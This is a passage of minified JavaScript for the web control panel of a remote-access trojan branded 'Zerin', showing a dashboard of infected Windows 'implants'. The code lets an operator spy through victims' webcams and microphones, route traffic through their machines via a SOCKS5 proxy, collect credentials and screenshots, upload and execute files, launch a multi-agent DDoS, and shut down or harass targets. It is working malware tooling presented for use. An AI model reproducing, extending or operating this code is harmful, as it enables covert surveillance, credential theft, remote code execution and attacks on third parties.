re=rt(),ae=window.open(`/webcam/${J}`,`webcam-${J}`,"width=800,height=650,menubar=no,toolbar=no,location=no,status=no");if(ae&&re){const Oe=lt=>{var We;((We=lt.data)==null?void 0:We.type)==="zerin_auth_request"&&lt.origin===window.location.origin&&(ae.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start webcam"));return}if(be==="mic"){dj(J).then(()=>{const re=rt(),ae=window.open(`/mic/${J}`,`mic-${J}`,"width=500,height=400,menubar=no,toolbar=no,location=no,status=no");if(ae&&re){const Oe=lt=>{var We;((We=lt.data)==null?void 0:We.type)==="zerin_auth_request"&&lt.origin===window.location.origin&&(ae.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start microphone"));return}if(be==="socks5"){fj(J).then(re=>{alert(`SOCKS5 proxy started on ${re.bind}:${re.port}
Use: ssh -L ${re.port}:127.0.0.1:${re.port} root@<vps>`)}).catch(()=>alert("Failed to start SOCKS5 proxy"));return}if(be==="execute_upload"){C.current=J,(G=ee.current)==null||G.click();return}if(be==="ban"){const re=t.find(We=>We.id===J),ae=re==null?void 0:re.banned,Oe=ae?`Unban agent ${pe} (${J.slice(0,8)})? It will be allowed to check in again.`:`Ban agent ${pe} (${J.slice(0,8)})? It will be rejected on future check-ins.`;if(!confirm(Oe))return;(ae?LE:ME)(J).then(()=>{n(We=>We.map(pn=>pn.id===J?{...pn,banned:!ae}:pn))}).catch(()=>o(`Failed to ${ae?"unban":"ban"} agent`));return}if(be==="remove"){if(!confirm(`Remove agent ${pe} (${J.slice(0,8)})? This cannot be undone.`))return;lj(J).then(()=>{n(re=>re.filter(ae=>ae.id!==J))}).catch(()=>o("Failed to remove agent"));return}(be==="submit"||be==="screenshot")&&E!=="creds"&&Ee(J,{command:E}).catch(re=>{o(`Failed to submit task: ${re instanceof Error?re.message:"unknown error"}`)}),ke&&e(`/agents/${J}?tab=${ke}${E==="creds"?"&auto=1":""}`)}function Z(){x(E=>({...E,visible:!1})),y(null)}async function fe(E){var ke,G,re;const oe=(ke=E.target.files)==null?void 0:ke[0];if(E.target.value="",!oe||!C.current)return;const J=C.current;C.current=null;const pe=oe.name,be=`C:\\Windows\\Temp\\${pe}`;try{const ae=await oe.arrayBuffer(),Oe=Array.from(new Uint8Array(ae)),{task_id:lt}=await Ee(J,{command:"upload",args:[be],data:Oe});let We=!1;for(let Zt=0;Zt<30;Zt++){await new Promise(Yn=>setTimeout(Yn,2e3));const qn=(G=(await Un(J)).results)==null?void 0:G.find(Yn=>Yn.task_id===lt);if(qn){if(qn.error)throw new Error(qn.error);We=!0;break}}if(!We)throw new Error("Upload timed out");const{task_id:pn}=await Ee(J,{command:"execute",args:[be]});for(let Zt=0;Zt<30;Zt++){await new Promise(Yn=>setTimeout(Yn,2e3));const qn=(re=(await Un(J)).results)==null?void 0:re.find(Yn=>Yn.task_id===pn);if(qn){if(qn.error)throw new Error(qn.error);alert(`Executed ${pe} on agent`);return}}alert(`File uploaded & execute command sent (${pe})`)}catch(ae){o(`Execute file failed: ${ae instanceof Error?ae.message:"unknown error"}`)}}return s.jsxs("div",{className:"p-6 min-h-[calc(100vh+100px)]",children:[s.jsx("input",{ref:ee,type:"file",className:"hidden",onChange:fe}),s.jsxs("div",{className:"mb-6",children:[s.jsx("h1",{className:"font-display text-2xl font-bold text-zerin-text tracking-wide",children:"Dashboard"}),s.jsx("p",{className:"text-zerin-text-muted text-sm mt-1",children:"Active implant overview"})]}),s.jsxs("div",{className:"grid grid-cols-2 sm:grid-cols-4 gap-3 mb-4",children:[s.jsx(Yl,{label:"Total",value:B.total,active:l==="all",onClick:()=>q("all")}),s.jsx(Yl,{label:"Alive",value:B.alive,active:l==="alive",onClick:()=>q("alive")}),s.jsx(Yl,{label:"Stale",value:B.stale,active:l==="stale",onClick:()=>q("stale")}),s.jsx(Yl,{label:"Dead",value:B.dead,active:l==="dead",onClick:()=>q("dead")})]}),s.jsx(yU,{agents:t}),s.jsxs("div",{className:"flex items-center justify-between mb-4",children:[s.jsxs("div",{className:"flex items-center border-b border-zerin-panel-border",children:[s.jsxs("button",{onClick:()=>{m("online"),c("all")},className:`relative px-4 py-2.5 text-sm font-medium tracking-wide transition-colors ${f==="online"?"text-zerin-text":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:[s.jsxs("span",{className:"flex items-center gap-2",children:[s.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${f==="online"?"bg-zerin-accent animate-pulse-dot":"bg-zerin-text-muted/40"}`}),"Online",s.jsx("span",{className:`text-xs tabular-nums px-1.5 py-0.5 rounded ${f==="online"?"bg-zerin-accent/15 text-zerin-accent":"bg-zinc-800 text-zerin-text-muted"}`,children:_e})]}),f==="online"&&s.jsx("span",{className:"absolute bottom-0 left-0 right-0 h-[2px] bg-zerin-accent"})]}),s.jsxs("button",{onClick:()=>{m("offline"),c("all")},className:`relative px-4 py-2.5 text-sm font-medium tracking-wide transition-colors ${f==="offline"?"text-zerin-text":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:[s.jsxs("span",{className:"flex items-center gap-2",children:[s.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${f==="offline"?"bg-zinc-500":"bg-zerin-text-muted/40"}`}),"Offline",s.jsx("span",{className:`text-xs tabular-nums px-1.5 py-0.5 rounded ${f==="offline"?"bg-zinc-500/15 text-zinc-400":"bg-zinc-800 text-zerin-text-muted"}`,children:L})]}),f==="offline"&&s.jsx("span",{className:"absolute bottom-0 left-0 right-0 h-[2px] bg-zinc-500"})]})]}),f==="offline"&&L>0&&s.jsx("button",{onClick:async()=>{if(!confirm(`Remove all ${L} dead agent(s)? This cannot be undone.`))return;const E=t.filter(oe=>oe.status==="dead").map(oe=>oe.id);try{await TE(E),n(oe=>oe.filter(J=>J.status!=="dead"))}catch{o("Failed to clear dead agents")}},className:"px-3 py-1.5 text-xs font-medium rounded bg-red-500/10 text-red-400/80 hover:bg-red-500/20 hover:text-red-400 border border-red-500/20 transition-colors",children:"Clear All"})]}),r?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"text-center",children:[s.jsxs("svg",{className:"animate-spin h-8 w-8 text-zerin-accent mx-auto mb-3",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),s.jsx("p",{className:"text-zerin-text-dim text-sm",children:"Loading agents..."})]})}):a?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-8 text-center max-w-sm",children:[s.jsx("div",{className:"inline-flex items-center justify-center h-10 w-10 bg-zerin-danger-dim mb-4",children:s.jsx("svg",{className:"h-5 w-5 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),s.jsx("p",{className:"text-zerin-text font-display font-semibold mb-1",children:"Connection Error"}),s.jsx("p",{className:"text-zerin-text-muted text-sm mb-4",children:a}),s.jsxs("button",{onClick:K,className:"inline-flex items-center gap-2 bg-zerin-accent px-4 py-2 text-sm font-medium text-white transition-colors hover:bg-zerin-accent-hover",children:[s.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Retry"]})]})}):we.length===0?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"inline-flex items-center justify-center h-12 w-12 bg-zerin-panel-hover mb-4",children:s.jsx("svg",{className:"h-6 w-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9.75 17L9 20l-1 1h8l-1-1-.75-3M3 13h18M5 17h14a2 2 0 002-2V5a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"})})}),t.length===0?s.jsxs(s.Fragment,{children:[s.jsx("p",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:"No agents connected"}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Waiting for the first agent check-in."})]}):s.jsxs(s.Fragment,{children:[s.jsxs("p",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:["No ",f," agents"]}),s.jsxs("p",{className:"text-zerin-text-muted text-sm",children:[f==="online"?"No alive or stale agents.":"No dead agents — all agents are online.",l!=="all"&&s.jsx("button",{onClick:()=>c("all"),className:"ml-1 text-zerin-accent hover:text-zerin-accent-hover transition-colors underline underline-offset-2",children:"Clear filter"})]})]})]})}):s.jsxs(s.Fragment,{children:[s.jsxs("div",{className:"text-zerin-text-muted text-xs mb-3",children:[s.jsx("span",{className:"text-zerin-text font-medium",children:we.length})," ",f," agent",we.length!==1?"s":"",l!=="all"&&s.jsxs("span",{className:"ml-1",children:["· filtered by ",s.jsx("span",{className:"text-zerin-text-dim font-medium",children:l})]})]}),s.jsx("div",{className:"border border-zerin-panel-border overflow-hidden",children:s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm text-left",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-zerin-bg-alt",children:[s.jsx("th",{className:"px-3 py-3 w-[40px]",children:s.jsx("input",{type:"checkbox",checked:we.length>0&&we.filter(E=>E.status!=="dead").every(E=>I.has(E.id)),onChange:E=>{E.target.checked?U(new Set(we.filter(oe=>oe.status!=="dead").map(oe=>oe.id))):U(new Set)},className:"accent-zerin-accent w-3.5 h-3.5 cursor-pointer"})}),NU.map(E=>s.jsx("th",{onClick:()=>de(E.key),className:`px-4 py-3 text-xs font-medium uppercase tracking-wider text-zerin-text-muted cursor-pointer select-none transition-colors hover:text-zerin-text ${E.className??""}`,children:s.jsxs("span",{className:"inline-flex items-center gap-1.5",children:[E.label,s.jsx(zU,{column:E.key,sort:u})]})},E.key))]})}),s.jsx("tbody",{className:"bg-zerin-panel",children:we.map(E=>s.jsxs("tr",{onClick:()=>te(E),onContextMenu:oe=>me(oe,E),className:`border-b border-zerin-panel-border cursor-pointer transition-colors hover:bg-zerin-panel-hover ${E.status==="dead"?"opacity-50":""} ${E.banned?"opacity-60":""}`,children:[s.jsx("td",{className:"px-3 py-3",onClick:oe=>oe.stopPropagation(),children:E.status!=="dead"&&s.jsx("input",{type:"checkbox",checked:I.has(E.id),onChange:oe=>{U(J=>{const pe=new Set(J);return oe.target.checked?pe.add(E.id):pe.delete(E.id),pe})},className:"accent-zerin-accent w-3.5 h-3.5 cursor-pointer"})}),s.jsx("td",{className:"px-4 py-3",children:s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx(sd,{status:E.status,size:"sm",showLabel:!0}),E.banned&&s.jsx("span",{className:"inline-flex items-center bg-orange-500/15 px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wider text-orange-400",children:"Banned"})]})}),s.jsx("td",{className:`px-4 py-3 font-medium text-zerin-text ${E.banned?"line-through":""}`,children:E.hostname}),s.jsxs("td",{className:"px-4 py-3 text-zerin-text-dim",children:[E.username,E.elevated&&s.jsx("span",{className:"ml-2 inline-flex items-center bg-zerin-panel-hover px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wider text-zerin-text-dim",children:"Admin"})]}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:So(E.os)}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:E.arch}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim max-w-[160px] truncate",title:E.av_product||"Unknown",children:E.av_product||"Unknown"}),s.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:E.internal_ip}),s.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:E.external_ip}),s.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:E.pid}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-muted",title:No(E.last_seen),children:Vc(E.last_seen)})]},E.id))})]})})})]}),I.size>0&&s.jsxs("div",{className:`fixed bottom-6 left-1/2 -translate-x-1/2 z-40 flex items-center gap-3\r
bg-zerin-panel border border-zerin-panel-border px-5 py-3 shadow-xl`,children:[s.jsxs("span",{className:"text-sm text-zerin-text font-medium",children:[I.size," agent",I.size!==1?"s":""," selected"]}),s.jsx("div",{className:"w-px h-5 bg-zerin-panel-border"}),s.jsxs("button",{onClick:()=>M(!0),className:`flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r
text-red-400 bg-red-500/10 border border-red-500/20\r
hover:bg-red-500/20 transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),"DDoS"]}),s.jsxs("button",{onClick:()=>R(!0),className:`flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r
text-orange-400 bg-orange-500/10 border border-orange-500/20\r
hover:bg-orange-500/20 transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute File"]}),s.jsx("button",{onClick:()=>U(new Set),className:`px-3 py-1.5 text-xs font-medium text-zerin-text-dim\r
hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg transition-colors`,children:"Clear"})]}),D&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>M(!1),children:s.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border w-full max-w-2xl max-h-[80vh] overflow-y-auto",onClick:E=>E.stopPropagation(),children:[s.jsxs("div",{className:"flex items-center justify-between px-6 py-4 border-b border-zerin-panel-border",children:[s.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:"Multi-Agent DDoS"}),s.jsx("button",{onClick:()=>M(!1),className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:s.jsx("svg",{className:"w-5 h-5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),s.jsx(US,{agentIds:[...I]})]})}),F&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>R(!1),children:s.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border w-full max-w-lg",onClick:E=>E.stopPropagation(),children:[s.jsxs("div",{className:"flex items-center justify-between px-6 py-4 border-b border-zerin-panel-border",children:[s.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:"Execute File"}),s.jsx("button",{onClick:()=>R(!1),className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:s.jsx("svg",{className:"w-5 h-5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),s.jsxs("div",{className:"p-6 space-y-4",children:[s.jsxs("p",{className:"text-xs text-zerin-text-muted",children:["Run a file on ",I.size," agent",I.size!==1?"s":""]}),ge&&s.jsx("div",{className:`px-3 py-2 text-xs font-mono ${ge.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:ge.text}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"File Path"}),s.jsx("input",{type:"text",value:W,onChange:E=>$(E.target.value),placeholder:"C:\\path\\to\\file.exe",className:`w-full bg-zerin-panel border border-zerin-panel-border px-3 py-2\r
text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r
focus:outline-none focus:border-zerin-accent/50 transition-colors`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Arguments (optional)"}),s.jsx("input",{type:"text",value:H,onChange:E=>X(E.target.value),placeholder:"--flag value",className:`w-full bg-zerin-panel border border-zerin-panel-border px-3 py-2\r
text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r
focus:outline-none focus:border-zerin-accent/50 transition-colors`})]}),s.jsxs("button",{onClick:async()=>{if(W.trim()){ue(!0),xe(null);try{const E=[W.trim()];H.trim()&&H.trim().split(/\s+/).forEach(be=>E.push(be));const J=(await Promise.allSettled([...I].map(be=>Ee(be,{command:"execute",args:E})))).filter(be=>be.status==="fulfilled").length,pe=I.size;xe(J===pe?{text:`Sent to ${pe} agent${pe!==1?"s":""}`,type:"ok"}:{text:`Sent to ${J}/${pe} agents (${pe-J} failed)`,type:J>0?"ok":"err"})}catch(E){xe({text:E instanceof Error?E.message:"Failed",type:"err"})}finally{ue(!1)}}},disabled:se||!W.trim(),className:`w-full flex items-center justify-center gap-2 px-4 py-2.5\r
text-sm font-medium text-white bg-orange-500 hover:bg-orange-600\r
disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[se?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute",I.size>1?` (${I.size})`:""]})]})]})}),s.jsx(e_,{x:h.x,y:h.y,visible:h.visible,onAction:V,onClose:Z,agentStatus:g==null?void 0:g.status,agentName:g==null?void 0:g.hostname}),s.jsx(gj,{agentId:(w==null?void 0:w.id)??"",agentHostname:(w==null?void 0:w.hostname)??"",open:w!==null,onClose:()=>j(null)}),s.jsx(n_,{open:v!==null,onClose:()=>b(null),title:(v==null?void 0:v.hostname)??"Agent Details",children:v&&s.jsx(CU,{agent:v,onNavigate:()=>e(`/agents/${v.id}`),onTagsChange:async E=>{const oe=v.tags??[];n(J=>J.map(pe=>pe.id===v.id?{...pe,tags:E}:pe)),b(J=>J&&{...J,tags:E});try{await DE(v.id,E)}catch{n(J=>J.map(pe=>pe.id===v.id?{...pe,tags:oe}:pe)),b(J=>J&&{...J,tags:oe}),o("Failed to update tags")}}})}),k&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>S(null),children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 max-w-sm w-full mx-4",onClick:E=>E.stopPropagation(),children:[s.jsxs("h3",{className:"font-display text-lg font-semibold text-zerin-text mb-2",children:[k.command==="restart"?"Restart":"Shutdown"," PC"]}),s.jsxs("p",{className:"text-zerin-text-muted text-sm mb-6",children:["Are you sure you want to ",k.command," ",s.jsx("span",{className:"text-zerin-text font-medium",children:k.hostname}),"?",k.command==="shutdown"&&" The agent will go offline."]}),s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsx("button",{onClick:()=>S(null),className:`px-4 py-2 text-sm font-medium text-zerin-text-dim\r
hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg\r
transition-colors`,children:"Cancel"}),s.jsx("button",{onClick:()=>{Ee(k.agentId,{command:k.command}).catch(E=>{o(`Failed to submit task: ${E instanceof Error?E.message:"unknown error"}`)}),S(null)},className:`px-4 py-2 text-sm font-medium text-white transition-colors ${k.command==="shutdown"?"bg-zerin-danger hover:bg-red-600":"bg-zerin-accent hover:bg-zerin-accent-hover"}`,children:k.command==="restart"?"Restart":"Shutdown"})]})]})}),N&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>z(null),children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 max-w-md w-full mx-4",onClick:E=>E.stopPropagation(),children:[s.jsx("h3",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:"Send Message Box"}),s.jsxs("p",{className:"text-zerin-text-muted text-xs mb-4",children:["Target: ",s.jsx("span",{className:"text-zerin-text font-medium",children:N.hostname})]}),s.jsxs("div",{className:"space-y-3 mb-6",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-xs mb-1",children:"Title"}),s.jsx("input",{type:"text",value:_,onChange:E=>A(E.target.value),placeholder:"Window title...",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-1.5\r
text-sm text-zerin-text placeholder-zerin-text-muted\r
focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-xs mb-1",children:"Message"}),s.jsx("textarea",{value:O,onChange:E=>P(E.target.value),placeholder:"Message text...",rows:3,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-1.5\r
text-sm text-zerin-text placeholder-zerin-text-muted resize-none\r
focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]})]}),s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsx("button",{onClick:()=>z(null),className:`px-4 py-2 text-sm font-medium text-zerin-text-dim\r
hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg\r
transition-colors`,children:"Cancel"}),s.jsx("button",{onClick:()=>{O.trim()&&Ee(N.agentId,{command:"troll_msgbox",args:[O,_||"Zerin"]}).catch(E=>{o(`Failed to submit task: ${E instanceof Error?E.message:"unknown error"}`)}),z(null)},disabled:!O.trim(),className:`px-4 py-2 text-sm font-medium text-white bg-zerin-accent\r
hover:bg-zerin-accent-hover disabled:opacity-40 disabled:cursor-not-allowed\r
transition-colors`,children:"Send"})]})]})})]})}function Yl({label:e,value:t,active:n,onClick:r}){return s.jsxs("button",{onClick:r,className:`bg-zerin-panel border p-4 text-left transition-all duration-150 hover:bg-zerin-panel-hover ${n?"border-l-2 border-l-zerin-accent border-t-zerin-panel-border border-r-zerin-panel-border border-b-zerin-panel-border":"border-zerin-panel-border"}`,children:[s.jsx("p",{className:"text-xs text-zerin-text-muted uppercase tracking-wider mb-1",children:e}),s.jsx("p",{className:"text-2xl font-display font-bold text-zerin-text",children:t})]})}function zU({column:e,sort:t}){return t.column!==e?s.jsx("svg",{className:"h-3 w-3 text-zerin-text-muted/30",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M7 16V4m0 0L3 8m4-4l4 4m6 0v12m0 0l4-4m-4 4l-4-4"})}):t.direction==="asc"?s.jsx("svg",{className:"h-3 w-3 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}):s.jsx("svg",{className:"h-3 w-3 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 9l-7 7-7-7"})})}function CU({agent:e,onNavigate:t,onTagsChange:n}){return s.jsxs("div",{className:"space-y-6",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(sd,{status:e.status,size:"lg",showLabel:!0}),e.elevated&&s.jsx("span",{className:"inline-flex items-center bg-zerin-panel-hover px-2 py-1 text-xs font-semibold uppercase tracking-wider text-zerin-text-dim",children:"Elevated"})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-x-4 gap-y-4",children:[s.jsx(xn,{label:"Hostname",value:e.hostname}),s.jsx(xn,{label:"Username",value:e.username}),s.jsx(xn,{label:"OS",value:So(e.os)}),s.jsx(xn,{label:"Architecture",value:e.arch}),s.jsx(xn,{label:"PID",value:String(e.pid),mono:!0}),s.jsx(xn,{label:"Integrity",value:e.integrity}),s.jsx(xn,{label:"Internal IP",value:e.internal_ip,mono:!0}),s.jsx(xn,{label:"External IP",value:e.external_ip,mono:!0}),s.jsx(xn,{label:"Sleep / Jitter",value:vj(e.sleep_interval,e.jitter),mono:!0}),s.jsx(xn,{label:"Agent ID",value:Hs(e.id),mono:!0}),s.jsx(xn,{label:"First Seen",value:No(e.first_seen)}),s.jsx(xn,{label:"Last Seen",value:Vc(e.last_seen)})]}),s.jsxs("div",{children:[s.jsx("p",{className:"text-zerin-text-muted text-xs mb-1.5",children:"Tags"}),s.jsx(bU,{tags:e.tags??[],onChange:n})]}),s.jsx("div",{className:"border-t border-zerin-panel-border"}),s.jsxs("button",{onClick:t,className:"w-full flex items-center justify-center gap-2 bg-zerin-accent px-4 py-2.5 text-sm font-medium text-white transition-colors hover:bg-zerin-accent-hover",children:["View Full Details",s.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 7l5 5m0 0l-5 5m5-5H6"})})]})]})}function xn({label:e,value:t,mono:n=!1}){return s.jsxs("div",{children:[s.jsx("p",{className:"text-zerin-text-muted text-xs mb-0.5",children:e}),s.jsx("p",{className:`text-zerin-text text-sm ${n?"font-mono":""}`,children:t})]})}const PU={command:"text-zerin-accent",output:"text-zerin-text",error:"text-zerin-danger",system:"text-zerin-text-muted"},EU={command:"$ ",output:" ",error:"ERR ",system:"SYS "},AU={command:"text-zerin-accent",output:"text-zerin-text-muted",error:"text-zerin-danger",system:"text-zerin-text-muted opacity-50"};function _U({lines:e,className:t=""}){const n=p.useRef(null),r=p.useRef(null),i=p.useRef(0);return p.useEffect(()=>{var a;e.length>i.current&&((a=r.current)==null||a.scrollIntoView({behavior:"smooth"})),i.current=e.length},[e]),s.jsxs("div",{className:`
bg-zerin-bg border border-zerin-panel-border
font-mono text-sm overflow-hidden flex flex-col
${t}
`,children:[s.jsxs("div",{className:"flex items-center gap-2 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-panel/60 select-none",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent"}),s.jsx("span",{className:"text-zerin-text-dim text-xs font-medium tracking-wide",children:"Terminal"})]}),s.jsxs("div",{ref:n,className:"flex-1 p-4 space-y-1 min-h-[200px] overflow-auto custom-scrollbar",children:[e.length===0&&s.jsxs("div",{className:"text-zerin-text-muted text-xs",children:[s.jsx("span",{className:"opacity-50",children:"SYS "}),"Awaiting input. Type a command to begin."]}),e.map((a,o)=>s.jsxs("div",{className:`${PU[a.type]} whitespace-pre-wrap break-all leading-relaxed`,children:[a.timestamp&&s.jsx("span",{className:"text-zerin-text-muted opacity-30 text-[10px] mr-3 select-none",children:a.timestamp}),s.jsx("span",{className:`${AU[a.type]} select-none`,children:EU[a.type]}),a.content]},o)),s.jsx("div",{ref:r})]})]})}function OU({agentId:e,agentStatus:t}){const[n,r]=p.useState("C:\\"),[i,a]=p.useState([]),[o,l]=p.useState(!1),[c,u]=p.useState(""),[d,f]=p.useState(!1),[m,h]=p.useState(null),[x,g]=p.useState(null),[y,v]=p.useState(null),[b,w]=p.useState(""),[j,k]=p.useState(""),S=t==="dead",N=p.useRef(null),z=p.useRef(null),_=p.useRef(null);p.useEffect(()=>()=>{N.current&&clearInterval(N.current)},[]),p.useEffect(()=>{if(!m)return;const H=se=>{se.button!==2&&z.current&&!z.current.contains(se.target)&&h(null)},X=se=>{se.key==="Escape"&&h(null)};return document.addEventListener("mousedown",H),document.addEventListener("keydown",X),()=>{document.removeEventListener("mousedown",H),document.removeEventListener("keydown",X)}},[m]),p.useEffect(()=>{y&&setTimeout(()=>{var H;return(H=_.current)==null?void 0:H.focus()},50)},[y]);const A=p.useCallback(H=>new Promise((X,se)=>{let ue=0;const ge=30,xe=setInterval(async()=>{var Y;ue++;try{const C=(Y=(await Un(e)).results)==null?void 0:Y.find(K=>K.task_id===H);C?(clearInterval(xe),C.error?se(new Error(C.error)):X({output:C.output,data:C.data})):ue>=ge&&(clearInterval(xe),se(new Error("Timed out waiting for agent response")))}catch{}},2e3)}),[e]),O=p.useCallback(async H=>{if(!S){l(!0),u(""),a([]),N.current&&(clearInterval(N.current),N.current=null);try{const{task_id:X}=await Ee(e,{command:"ls",args:[H]});r(H),f(!0);let se=0;const ue=30;N.current=setInterval(async()=>{var ge;se++;try{const Y=(ge=(await Un(e)).results)==null?void 0:ge.find(ee=>ee.task_id===X);if(Y){if(N.current&&clearInterval(N.current),N.current=null,l(!1),Y.error){u(Y.error);return}if(Y.output){const ee=Y.output.split(`
